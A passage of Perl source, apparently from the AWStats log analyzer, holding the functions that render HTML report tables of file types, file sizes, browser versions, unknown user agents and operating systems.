"$AWScript${NewLinkParams}output=unknownos")
: "$StaticLinks.unknownos.$StaticExt"
)
. "\"$NewLinkTarget>$Message[0]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowBrowsersStats) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowBrowsersStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=browserdetail")
: "$StaticLinks.browserdetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[58]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowBrowsersStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=unknownbrowser")
: "$StaticLinks.unknownbrowser.$StaticExt"
)
. "\"$NewLinkTarget>$Message[0]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowScreenSizeStats) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>";
print( $frame? "</td></tr>\n" : " " );
}
if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); }
# Referers
%menu = (
'referer' => $ShowOriginStats ? 1 : 0,
'refererse' => $ShowOriginStats ? 2 : 0,
'refererpages' => $ShowOriginStats ? 3 : 0,
'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
? 4
: 0,
'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
'keywords' => $ShowKeywordsStats ? 6 : 0
);
%menulink = (
'referer' => 1,
'refererse' => 2,
'refererpages' => 2,
'keys' => 1,
'keyphrases' => 2,
'keywords' => 2
);
%menutext = (
'referer' => $Message[37],
'refererse' => $Message[126],
'refererpages' => $Message[127],
'keys' => $Message[14],
'keyphrases' => $Message[120],
'keywords' => $Message[121]
);
HTMLShowMenuCateg(
'referers', $Message[23],
'menu7.png', $frame,
$targetpage, $linkanchor,
$NewLinkParams, $NewLinkTarget,
\%menu, \%menulink,
\%menutext
);
# Others
%menu = (
'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0,
'misc' => $ShowMiscStats ? 2 : 0,
'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats )
? 3
: 0,
'clusters' => $ShowClusterStats ? 5 : 0
);
%menulink = (
'filetypes' => 1,
'misc' => 1,
'errors' => 1,
'clusters' => 1
);
%menutext = (
'filetypes' => $Message[98],
'misc' => $Message[139],
'errors' =>
( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
'clusters' => $Message[155]
);
my $idx = 0;
foreach ( sort keys %TrapInfosForHTTPErrorCodes ) {
$menu{"errors$_"} = $ShowHTTPErrorsStats ? 4+$idx : 0;
$menulink{"errors$_"} = 2;
$menutext{"errors$_"} = $Message[49] . ' (' . $_ . ')';
$idx++;
}
HTMLShowMenuCateg(
'others', $Message[2],
'menu8.png', $frame,
$targetpage, $linkanchor,
$NewLinkParams, $NewLinkTarget,
\%menu, \%menulink,
\%menutext
);
# Extra/Marketing
%menu = ();
%menulink = ();
%menutext = ();
my $i = 1;
foreach ( 1 .. @ExtraName - 1 ) {
$menu{"extra$_"} = $i++;
$menulink{"extra$_"} = 1;
$menutext{"extra$_"} = $ExtraName[$_];
$menu{"allextra$_"} = $i++;
$menulink{"allextra$_"} = 2;
$menutext{"allextra$_"} = $Message[80];
}
HTMLShowMenuCateg(
'extra', $Message[134],
'', $frame,
$targetpage, $linkanchor,
$NewLinkParams, $NewLinkTarget,
\%menu, \%menulink,
\%menutext
);
print "</table>\n";
}
else {
# Menu Applet
if ($frame) { }
else { }
}
#print ($frame?"":"<br />\n");
print "<br />\n";
}
# Print Back link
elsif ( !$HTMLOutput{'main'} ) {
print "<table>\n";
$NewLinkParams =~ s/(^|&|&)hostfilter=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)urlfilter=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)refererpagesfilter=[^&]*//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ( !$DetailedReportsOnNewWindows
|| $FrameName eq 'mainright'
|| $QueryString =~ /buildpdf/i )
{
print "<tr><td class=\"aws\"><a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}")
: "$StaticLinks.$StaticExt"
)
. "\">$Message[76]</a></td></tr>\n";
}
else {
print
"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
}
print "</table>\n";
print "\n";
}
}
#------------------------------------------------------------------------------
# Function: Prints the File Type table
# Parameters: _
# Input: $NewLinkParams, $NewLinkTargets
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainFileType{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if (!$LevelForFileTypesDetection > 0){return;}
if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); }
print "$Center<a name=\"filetypes\"> </a><br />\n";
my $Totalh = 0;
foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; }
my $Totalk = 0;
foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; }
my $title = "$Message[73]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=FILETYPES&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; }
# build keylist at top
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
\%_filetypes_h );
&tab_head( "$title", 19, 0, 'filetypes' );
# Graph the top five in a pie chart
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
push @blocklabel, "$key";
$cnt++;
if ($cnt > 4) { last; }
}
print "<tr><td colspan=\"7\">";
my $function = "ShowGraph_$pluginname";
&$function(
"$Message[73]", "filetypes",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>";
if ( $ShowFileTypesStats =~ /H/i ) {
print "<th bgcolor=\"#$color_h\" width=\"80\""
. Tooltip(4)
. ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
}
if ( $ShowFileTypesStats =~ /B/i ) {
print "<th bgcolor=\"#$color_k\" width=\"80\""
. Tooltip(5)
. ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
}
if ( $ShowFileTypesStats =~ /C/i ) {
print
"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>";
}
print "</tr>\n";
my $total_con = 0;
my $total_cre = 0;
my $count = 0;
foreach my $key (@keylist) {
my $p_h = ' ';
my $p_k = ' ';
if ($Totalh) {
$p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($Totalk) {
$p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10;
$p_k = "$p_k %";
}
if ( $key eq 'Unknown' ) {
print "<tr><td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/mime\/unknown.png\""
. AltTitle("")
. " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
}
else {
my $nameicon = $MimeHashLib{$key}[0] || "notavailable";
my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || " ";
print "<tr><td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
. AltTitle("")
. " /></td><td class=\"aws\">$key</td>";
print "<td class=\"aws\">$nametype</td>";
}
if ( $ShowFileTypesStats =~ /H/i ) {
print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>";
}
if ( $ShowFileTypesStats =~ /B/i ) {
print '<td nowrap="nowrap">'
. Format_Bytes( $_filetypes_k{$key} )
. "</td><td>$p_k</td>";
}
if ( $ShowFileTypesStats =~ /C/i ) {
if ( $_filetypes_gz_in{$key} ) {
my $percent = int(
100 * (
1 - $_filetypes_gz_out{$key} /
$_filetypes_gz_in{$key}
)
);
printf(
"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
Format_Bytes( $_filetypes_gz_in{$key} ),
Format_Bytes( $_filetypes_gz_out{$key} ),
Format_Bytes(
$_filetypes_gz_in{$key} -
$_filetypes_gz_out{$key}
),
$percent
);
$total_con += $_filetypes_gz_in{$key};
$total_cre += $_filetypes_gz_out{$key};
}
else {
print "<td> </td><td> </td><td> </td>";
}
}
print "</tr>\n";
$count++;
}
# Add total (only useful if compression is enabled)
if ( $ShowFileTypesStats =~ /C/i ) {
my $colspan = 3;
if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; }
if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; }
print "<tr>";
print
"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>";
if ( $ShowFileTypesStats =~ /C/i ) {
if ($total_con) {
my $percent =
int( 100 * ( 1 - $total_cre / $total_con ) );
printf(
"<td>%s</td><td>%s</td><td>%s (%s%)</td>",
Format_Bytes($total_con),
Format_Bytes($total_cre),
Format_Bytes( $total_con - $total_cre ),
$percent
);
}
else {
print "<td> </td><td> </td><td> </td>";
}
}
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the File Size Table
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainFileSize{
if ($Debug) { debug("ShowFileSizesStats",2); }
my $FirstTime = 0;
my $LastTime = 0;
foreach my $key ( keys %FirstTime ) {
my $keyqualified = 0;
if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
if ($keyqualified) {
if ( $FirstTime{$key}
&& ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
{
$FirstTime = $FirstTime{$key};
}
if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
$LastTime = $LastTime{$key};
}
}
}
my $inicio = 0;
my $fim = 0;
if ($FirstTime =~ /$regdate/o) { $inicio = Time::Local::timelocal($6, $5, $4, $3, $2-1, $1); }
if ($LastTime =~ /$regdate/o) { $fim = Time::Local::timelocal($6, $5, $4, $3, $2-1, $1); }
my $periodo = $fim - $inicio;
my $number_of_requests = 0;
my $request_frequency_average = 0;
foreach my $key (@PayloadRange) {
$number_of_requests += $_filesize{$key};
}
if ($periodo) { $request_frequency_average = $number_of_requests/$periodo;}
else { $request_frequency_average = 0 };
print "$Center<a name=\"filesizes\"> </a><br />\n";
my $title = "$Message[186]";
&tab_head($title, 19, 0, 'filesizes');
my $Totals = 0;
my $average_s = 0;
foreach (@PayloadRange) {
$average_s += ( $_filesize{$_} || 0 ) * $PayloadAverage{$_};
$Totals += $_filesize{$_} || 0;
}
if ($Totals) { $average_s = int($average_s / $Totals); }
else { $average_s = '?'; }
print "<tr bgcolor=\"#$color_TableBGRowTitle\"".Tooltip(1)."><th>$Message[182]: $number_of_requests - $Message[183]: $periodo $Message[184] - $Message[185]: ".sprintf ("%.6f",$request_frequency_average)."</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[181]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
my $total_s = 0;
my $count = 0;
foreach my $key (@PayloadRange) {
my $p = 0;
my $f = 0;
if ($Totals) { $p = int($_filesize{$key} / $Totals * 1000) / 10; }
if ($periodo) { $f = $_filesize{$key} / $periodo; }
$total_s += $_filesize{$key} || 0;
print "<tr><td class=\"aws\">$key</td>";
print "<td>".($_filesize{$key}? sprintf("%.5f",$f):" ")."</td>";
print "<td>".($_filesize{$key}? $_filesize{$key}:" ")."</td>";
print "<td>".($_filesize{$key}? "$p %":" ")."</td>";
print "</tr>\n";
$count++;
}
my $rest_s = $TotalVisits-$total_s;
if ($rest_s > 0) {
my $p = 0;
if ($TotalVisits) { $p = int($rest_s / $TotalVisits * 1000) / 10; }
print "<tr".Tooltip(20)."><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
print "<td>$rest_s</td>";
print "<td>".($rest_s?"$p %":" ")."</td>";
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Browser Detail frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowBrowserDetail{
# Show browsers versions
print "$Center<a name=\"browsersversions\"> </a><br />";
my $title = "$Message[21]";
&tab_head( "$title", 19, 0, 'browsersversions' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
print
"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
print "<th> </th>";
print "</tr>\n";
my $total_h = 0;
my $total_p = 0;
my $count = 0;
&BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
1, \%_browser_h, \%_browser_p );
my %keysinkeylist = ();
my $max_h = 1;
my $max_p = 1;
# Count total by family
my %totalfamily_h = ();
my %totalfamily_p = ();
my $TotalFamily_h = 0;
my $TotalFamily_p = 0;
BROWSERLOOP: foreach my $key (@keylist) {
$total_h += $_browser_h{$key};
if ( $_browser_h{$key} > $max_h ) {
$max_h = $_browser_h{$key};
}
$total_p += $_browser_p{$key};
if ( $_browser_p{$key} > $max_p ) {
$max_p = $_browser_p{$key};
}
foreach my $family ( keys %BrowsersFamily ) {
if ( $key =~ /^$family/i ) {
$totalfamily_h{$family} += $_browser_h{$key};
$totalfamily_p{$family} += $_browser_p{$key};
$TotalFamily_h += $_browser_h{$key};
$TotalFamily_p += $_browser_p{$key};
next BROWSERLOOP;
}
}
}
# Write records grouped in a browser family
foreach my $family (
sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
keys %BrowsersFamily
)
{
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10;
$p_p = "$p_p %";
}
my $familyheadershown = 0;
#foreach my $key ( reverse sort keys %_browser_h ) {
foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
if ( $key =~ /^$family(.*)/i ) {
if ( !$familyheadershown ) {
print
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>"
. uc($family)
. "</b></td>";
print "<td> </td><td><b>"
. Format_Number(int( $totalfamily_p{$family} ))
. "</b></td><td><b>$p_p</b></td>";
print "<td><b>"
. Format_Number(int( $totalfamily_h{$family} ))
. "</b></td><td><b>$p_h</b></td><td> </td>";
print "</tr>\n";
$familyheadershown = 1;
}
$keysinkeylist{$key} = 1;
my $ver = $1;
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h =
int( $_browser_h{$key} / $total_h * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p =
int( $_browser_p{$key} / $total_p * 1000 ) / 10;
$p_p = "$p_p %";
}
print "<tr>";
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/browser\/$family.png\""
. AltTitle("")
. " /></td>";
print "<td class=\"aws\">"
. ucfirst($family) . " "
. ( $ver ? "$ver" : "?" ) . "</td>";
print "<td>"
. (
$BrowsersHereAreGrabbers{$family}
? "<b>$Message[112]</b>"
: "$Message[113]"
)
. "</td>";
my $bredde_h = 0;
my $bredde_p = 0;
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * ( $_browser_h{$key} || 0 ) /
$max_h ) + 1;
}
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
$bredde_h = 2;
}
if ( $max_p > 0 ) {
$bredde_p =
int( $BarWidth * ( $_browser_p{$key} || 0 ) /
$max_p ) + 1;
}
if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) {
$bredde_p = 2;
}
print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>";
print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>";
print "<td class=\"aws\">";
# alt and title are not provided to reduce page size
if ($ShowBrowsersStats) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
}
print "</td>";
print "</tr>\n";
$count++;
}
}
}
# Write other records
my $familyheadershown = 0;
foreach my $key (@keylist) {
if ( $keysinkeylist{$key} ) { next; }
if ( !$familyheadershown ) {
my $p_h = ' ';
my $p_p = ' ';
if ($total_p) {
$p_p =
int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) /
10;
$p_p = "$p_p %";
}
if ($total_h) {
$p_h =
int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) /
10;
$p_h = "$p_h %";
}
print
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
print "<td> </td><td><b>"
. Format_Number(( $total_p - $TotalFamily_p ))
. "</b></td><td><b>$p_p</b></td>";
print "<td><b>"
. Format_Number(( $total_h - $TotalFamily_h ))
. "</b></td><td><b>$p_h</b></td><td> </td>";
print "</tr>\n";
$familyheadershown = 1;
}
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h = int( $_browser_h{$key} / $total_h * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p = int( $_browser_p{$key} / $total_p * 1000 ) / 10;
$p_p = "$p_p %";
}
print "<tr>";
if ( $key eq 'Unknown' ) {
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/browser\/unknown.png\""
. AltTitle("")
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
}
else {
my $keywithoutcumul = $key;
$keywithoutcumul =~ s/cumul$//i;
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
|| $keywithoutcumul;
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
|| "notavailable";
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
. AltTitle("")
. " /></td><td class=\"aws\">$libbrowser</td><td>"
. (
$BrowsersHereAreGrabbers{$key}
? "<b>$Message[112]</b>"
: "$Message[113]"
)
. "</td>";
}
my $bredde_h = 0;
my $bredde_p = 0;
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) +
1;
}
if ( $max_p > 0 ) {
$bredde_p =
int( $BarWidth * ( $_browser_p{$key} || 0 ) / $max_p ) +
1;
}
if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
$bredde_h = 2;
}
if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) {
$bredde_p = 2;
}
print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>";
print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>";
print "<td class=\"aws\">";
# alt and title are not provided to reduce page size
if ($ShowBrowsersStats) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
}
print "</td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Unknown Browser Detail frame or static page
# Parameters: $NewLinkTarget
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowBrowserUnknown{
my $NewLinkTarget = shift;
print "$Center<a name=\"unknownbrowser\"> </a><br />\n";
my $title = "$Message[50]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERERBROWSER&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'unknownbrowser' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
. ( scalar keys %_unknownrefererbrowser_l )
. ")</th><th>$Message[9]</th></tr>\n";
my $total_l = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
\%_unknownrefererbrowser_l );
foreach my $key (@keylist) {
my $useragent = XMLEncode( CleanXSS($key) );
print
"<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">"
. Format_Date( $_unknownrefererbrowser_l{$key}, 1 )
. "</td></tr>\n";
$total_l += 1;
$count++;
}
my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l;
if ( $rest_l > 0 ) {
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "<td>-</td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the OS Detail frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowOSDetail{
# Show os versions
print "$Center<a name=\"osversions\"> </a><br />";
my $title = "$Message[59]";
&tab_head( "$title", 19, 0, 'osversions' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
print "</tr>\n";
my $total_h = 0;
my $total_p = 0;
my $count = 0;
&BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
1, \%_os_h, \%_os_p );
my %keysinkeylist = ();
my $max_h = 1;
my $max_p = 1;
# Count total by family
my %totalfamily_h = ();
my %totalfamily_p = ();
my $TotalFamily_h = 0;
my $TotalFamily_p = 0;
OSLOOP: foreach my $key (@keylist) {
$total_h += $_os_h{$key};
$total_p += $_os_p{$key};
if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; }
if ( $_os_p{$key} > $max_p ) { $max_p = $_os_p{$key}; }
foreach my $family ( keys %OSFamily ) {
if ( $key =~ /^$family/i ) {
$totalfamily_h{$family} += $_os_h{$key};
$totalfamily_p{$family} += $_os_p{$key};
$TotalFamily_h += $_os_h{$key};
$TotalFamily_p += $_os_p{$key};
next OSLOOP;
}
}
}
# Write records grouped in a browser family
foreach my $family ( keys %OSFamily ) {
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10;
$p_p = "$p_p %";
}
my $familyheadershown = 0;
foreach my $key ( reverse sort keys %_os_h ) {
if ( $key =~ /^$family(.*)/i ) {
if ( !$familyheadershown ) {
my $family_name = '';
if ( $OSFamily{$family} ) {
$family_name = $OSFamily{$family};
}
print
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
print "<td><b>"
. Format_Number(int( $totalfamily_p{$family} ))
. "</b></td><td><b>$p_p</b></td>";
print "<td><b>"
. Format_Number(int( $totalfamily_h{$family} ))
. "</b></td><td><b>$p_h</b></td><td> </td>";
print "</tr>\n";
$familyheadershown = 1;
}
$keysinkeylist{$key} = 1;
my $ver = $1;
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10;
$p_p = "$p_p %";
}
print "<tr>";
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/os\/$key.png\""
. AltTitle("")
. " /></td>";
print "<td class=\"aws\">$OSHashLib{$key}</td>";
my $bredde_h = 0;
my $bredde_p = 0;
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h )
+ 1;
}
if ( ( $bredde_h == 1 ) && $_os_h{$key} ) {
$bredde_h = 2;
}
if ( $max_p > 0 ) {
$bredde_p =
int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p )
+ 1;
}
if ( ( $bredde_p == 1 ) && $_os_p{$key} ) {
$bredde_p = 2;
}
print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>";
print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>";
print "<td class=\"aws\">";
# alt and title are not provided to reduce page size
if ($ShowOSStats) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
}
print "</td>";
print "</tr>\n";
$count++;
}
}
}
# Write other records
my $familyheadershown = 0;
foreach my $key (@keylist) {
if ( $keysinkeylist{$key} ) { next; }
if ( !$familyheadershown ) {
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h =
int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) /
10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p =
int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) /
10;
$p_p = "$p_p %";
}
print
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
print "<td><b>"
. Format_Number(( $total_p - $TotalFamily_p ))
. "</b></td><td><b>$p_p</b></td>";
print "<td><b>"
. Format_Number(( $total_h - $TotalFamily_h ))
. "</b></td><td><b>$p_h</b></td><td> </td>";
print "</tr>\n";
$familyheadershown = 1;
}
my $p_h = ' ';
my $p_p = ' ';
if ($total_h) {
$p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($total_p) {
$p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10;
$p_p = "$p_p %";
}
print "<tr>";
if ( $key eq 'Unknown' ) {
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/browser\/unknown.png\""
. AltTitle("")
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
}
else {
my $keywithoutcumul = $key;
$keywithoutcumul =~ s/cumul$//i;
my $libos = $OSHashLib{$keywithoutcumul}
|| $keywithoutcumul;
my $nameicon = $keywithoutcumul;
$nameicon =~ s/[^\w]//g;
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/os\/$nameicon.png\""
. AltTitle("")
. " /></td><td class=\"aws\">$libos</td>";
}
my $bredde_h = 0;
my $bredde_p = 0;
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1;
}
if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; }
if ( $max_p > 0 ) {
$bredde_p =
int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { $bredde_p = 2; }
print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>";
print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>";
print "<td class=\"aws\">";
# alt and title are not provided to reduce page size
if ($ShowOSStats) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />";
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
}
print "</td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
